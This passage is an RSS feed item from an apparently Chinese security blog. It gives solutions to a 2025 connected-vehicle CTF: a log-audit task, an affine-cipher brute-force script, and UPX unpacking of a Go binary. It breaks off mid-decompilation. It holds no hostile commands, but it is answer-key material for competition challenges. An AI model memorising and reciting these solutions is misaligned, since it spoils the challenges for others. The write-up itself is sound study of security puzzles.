<?xml version="1.0" encoding="utf-8" standalone="yes"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>Hack Your Heart</title><link>https://h4cker.zip/categories/%E6%B1%BD%E8%BD%A6%E5%AE%89%E5%85%A8/</link><description>临渊羡鱼，不如退而结网</description><generator>Hugo 0.168.0</generator><language>en</language><atom:link href="https://h4cker.zip/categories/%E6%B1%BD%E8%BD%A6%E5%AE%89%E5%85%A8/rss.xml" rel="self" type="application/rss+xml"/><lastBuildDate>Thu, 09 Oct 2025 10:15:20 +0800</lastBuildDate><item><title>2025 “招商铸盾” 智能网联汽车攻防赛Writeup</title><link>https://h4cker.zip/94d1dd/</link><pubDate>Thu, 09 Oct 2025 10:15:20 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/94d1dd/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>之前的之江铸网有个车联网，没来得及参加，也没流出附件和wp，这次通过狼组的附件做一下，当然还是通过wp学习</p>
<p>不过这个WP为什么都是常规CTF题的啊，iov只有附件没有wp</p>
<blockquote>
<p>2025“招商铸盾”智能网联汽车攻防赛是由招商局检测车辆技术研究院有限公司主办的面向智能网联汽车领域的安全攻防活动。</p>
</blockquote>
<h2 id="misc">MISC<a class="anchor" href="#misc">#</a></h2>
<h3 id="日志审计-8-19">日志审计-8-19<a class="anchor" href="#日志审计-8-19">#</a></h3>
<p>可能是让找哪个恶意IP登录了Admin吧，根据格式，搜索<code>Accepted password for root from</code>就俩IP有这个一个是root，一个是admin用户，那个IP就是恶意，不过狼组居然提取所有IP扔微步里，没想到。微步普通用户好像不能上传ioc判断是否恶意了。</p>
<p>另一个数独题没附件。</p>
<h2 id="crypto">Crypto<a class="anchor" href="#crypto">#</a></h2>
<h3 id="这是古典密码">这是古典密码<a class="anchor" href="#这是古典密码">#</a></h3>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">YWlweHs4MjNqNTZwMzdhcDkycDkzcGQ0ZzdhZDZhMHAwMXAyMX0=</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>base64解开是个仿射密码，仿射密码是根据函数加密的：</p>
<span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>E</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mi>a</mi><mi>x</mi><mo>+</mo><mi>b</mi><mo stretchy="false">)</mo><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mi>m</mi></mrow><annotation encoding="application/x-tex">
E(x)=(ax+b)\bmod{m}
</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="katex-base"><span class="katex-strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0576em;">E</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="katex-base"><span class="katex-strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="katex-base"><span class="katex-strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="katex-base"><span class="katex-strut" style="height:0.4306em;"></span><span class="mord"><span class="mord mathnormal">m</span></span></span></span></span></span><ul>
<li><em>a</em> 和 <em>m</em> 互质</li>
<li><em>m</em> 是字母的数目</li>
</ul>
<p>解密函数是：</p>
<span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>D</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><msup><mi>a</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo stretchy="false">(</mo><mi>x</mi><mo>−</mo><mi>b</mi><mo stretchy="false">)</mo><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mi>m</mi></mrow><annotation encoding="application/x-tex">
D(x)=a^{-1}(x-b)\bmod{m}
</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="katex-base"><span class="katex-strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">D</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="katex-base"><span class="katex-strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="katex-sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="katex-base"><span class="katex-strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="katex-base"><span class="katex-strut" style="height:0.4306em;"></span><span class="mord"><span class="mord mathnormal">m</span></span></span></span></span></span><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">a^{−1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="katex-base"><span class="katex-strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="katex-sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span>是 a 在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi mathvariant="double-struck">Z</mi><mi>m</mi></msub></mrow><annotation encoding="application/x-tex">\mathbb{Z}_m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="katex-base"><span class="katex-strut" style="height:0.8389em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathbb">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="katex-sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 群的乘法逆元</p>
<p>注意：<em>x</em> 是字母的次序，以 0 为开始</p>
<p>这里使用爆破，把每种可能都输出，狼组的脚本很好，不用任何库，26位直接遍历逆元，虽然没有验证互质。但是很简洁。</p>
<p>用我的思路，我还是会用库的：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">gmpy2</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="c1"># 解密函数</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">def</span> <span class="nf">affine_decrypt</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">,</span><span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="n">plaintext</span><span class="o">=</span><span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="n">inver_a</span><span class="o">=</span><span class="n">gmpy2</span><span class="o">.</span><span class="n">invert</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="mi">26</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="k">for</span> <span class="n">char</span> <span class="ow">in</span> <span class="n">ciphertext</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">        <span class="k">if</span> <span class="n">char</span><span class="o">.</span><span class="n">isalpha</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">            <span class="c1"># 获取字母次序</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">            <span class="n">char_num</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">char</span><span class="p">)</span> <span class="o">-</span> <span class="nb">ord</span><span class="p">(</span><span class="s1">&#39;a&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">            <span class="n">decrypted_char_num</span> <span class="o">=</span> <span class="p">(</span><span class="n">inver_a</span> <span class="o">*</span> <span class="p">(</span><span class="n">char_num</span> <span class="o">-</span> <span class="n">b</span><span class="p">))</span> <span class="o">%</span> <span class="mi">26</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">            <span class="c1"># 得到密文字母次序，要加上a的ascii才能得到此密文字母的ascii</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">            <span class="n">decrypted_char</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">decrypted_char_num</span> <span class="o">+</span> <span class="nb">ord</span><span class="p">(</span><span class="s1">&#39;a&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">            <span class="n">plaintext</span> <span class="o">+=</span> <span class="n">decrypted_char</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">            <span class="n">plaintext</span> <span class="o">+=</span> <span class="n">char</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="k">return</span> <span class="n">plaintext</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="k">def</span> <span class="nf">brute_force</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="k">for</span> <span class="n">a</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">26</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">        <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">26</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">            <span class="k">if</span> <span class="n">gmpy2</span><span class="o">.</span><span class="n">gcd</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="mi">26</span><span class="p">)</span><span class="o">==</span><span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">                <span class="n">plaintext</span> <span class="o">=</span> <span class="n">affine_decrypt</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;参数：a=</span><span class="si">{</span><span class="n">a</span><span class="si">}</span><span class="s2">，b=</span><span class="si">{</span><span class="n">b</span><span class="si">}</span><span class="s2"> 解密：</span><span class="si">{</span><span class="n">plaintext</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">                <span class="c1"># 输出太多还要搜索，这里设置如果是flag开头直接停止函数</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">                <span class="k">if</span> <span class="n">plaintext</span><span class="p">[:</span><span class="mi">4</span><span class="p">]</span><span class="o">==</span><span class="s2">&#34;flag&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">                    <span class="k">return</span> <span class="mi">0</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">            <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">                <span class="k">continue</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="n">ciphertext</span> <span class="o">=</span> <span class="s1">&#39;aipx</span><span class="si">{823j56p37ap92p93pd4g7ad6a0p01p21}</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="n">brute_force</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>不同在于，添加了互质校验，检测到flag开头直接停止，不用再搜索。如果是大小写字母加数字的，m实际上就从26变成了 26+26+10=62</p>
<h2 id="re">Re<a class="anchor" href="#re">#</a></h2>
<h3 id="gogogo">gogogo<a class="anchor" href="#gogogo">#</a></h3>
<p>Go写的，而且UPX标识不全。所以需要补全，然后脱壳。</p>
<p>补全后，可以手动脱壳，也可以用upx脱壳。</p>
<p>这个知识点在 无名侠在看雪的《IDA特训营》课程学过</p>
<p>缺少了字母P，ASCII是80，十六进制是50，补上两个就行，然后upx脱壳：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-cmd" data-lang="cmd"><span class="line"><span class="ln">1</span><span class="cl">upx -d test.exe</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">cmd</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>IDA打开就是Go的典型入口点：<code>_rt0_amd64_windows</code>，不过没什么用，看main函数：<code>main.main</code>：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="c1">// main.main</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="nx">void</span><span class="w"> </span><span class="nx">__fastcall</span><span class="w"> </span><span class="nf">main_main</span><span class="p">()</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="w">  </span><span class="kt">string</span><span class="w"> </span><span class="o">*</span><span class="nx">v0</span><span class="p">;</span><span class="w"> </span><span class="c1">// rcx</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="w">  </span><span class="nx">__int64</span><span class="w"> </span><span class="nx">v1</span><span class="p">;</span><span class="w"> </span><span class="c1">// rax</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="w">  </span><span class="nx">__int64</span><span class="w"> </span><span class="nx">r1</span><span class="p">;</span><span class="w"> </span><span class="c1">// rdx</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="w">  </span><span class="nx">__int64</span><span class="w"> </span><span class="nx">r0</span><span class="p">;</span><span class="w"> </span><span class="c1">// rbx</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="w">  </span><span class="nx">retval_44A060</span><span class="w"> </span><span class="nx">v4</span><span class="p">;</span><span class="w"> </span><span class="c1">// kr00_16</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="w">  </span><span class="nx">retval_449800</span><span class="w"> </span><span class="nx">v5</span><span class="p">;</span><span class="w"> </span><span class="c1">// kr10_16</span><span class="w">
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="w">  </span><span class="nx">char</span><span class="w"> </span><span class="o">*</span><span class="nx">ptr</span><span class="p">;</span><span class="w"> </span><span class="c1">// rdi</span><span class="w">
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="w">  </span><span class="nx">__int64</span><span class="w"> </span><span class="nx">v7</span><span class="p">;</span><span class="w"> </span><span class="c1">// [rsp+0h] [rbp-68h]</span><span class="w">
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="w">  </span><span class="nx">__int64</span><span class="w"> </span><span class="nx">v8</span><span class="p">;</span><span class="w"> </span><span class="c1">// [rsp+8h] [rbp-60h]</span><span class="w">
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="w">  </span><span class="nx">__int64</span><span class="w"> </span><span class="nx">v9</span><span class="p">;</span><span class="w"> </span><span class="c1">// [rsp+10h] [rbp-58h]</span><span class="w">
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="w">  </span><span class="kt">string</span><span class="w"> </span><span class="o">*</span><span class="nx">p_string</span><span class="p">;</span><span class="w"> </span><span class="c1">// [rsp+18h] [rbp-50h]</span><span class="w">
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="w">  </span><span class="nx">_QWORD</span><span class="w"> </span><span class="nx">v11</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span><span class="w"> </span><span class="c1">// [rsp+20h] [rbp-48h] BYREF</span><span class="w">
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="w">  </span><span class="nx">_QWORD</span><span class="w"> </span><span class="nx">v12</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span><span class="w"> </span><span class="c1">// [rsp+30h] [rbp-38h] BYREF</span><span class="w">
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="w">  </span><span class="nx">_QWORD</span><span class="w"> </span><span class="nx">v13</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span><span class="w"> </span><span class="c1">// [rsp+40h] [rbp-28h] BYREF</span><span class="w">
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="w">  </span><span class="nx">_QWORD</span><span class="w"> </span><span class="nx">v14</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span><span class="w"> </span><span class="c1">// [rsp+50h] [rbp-18h] BYREF</span><span class="w">
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="w">  </span><span class="nx">p_string</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="p">(</span><span class="kt">string</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="nf">runtime_newobject</span><span class="p">(</span><span class="o">&amp;</span><span class="nx">RTYPE_string</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="w">  </span><span class="nx">p_string</span><span class="o">-</span><span class="p">&gt;</span><span class="nx">ptr</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w">
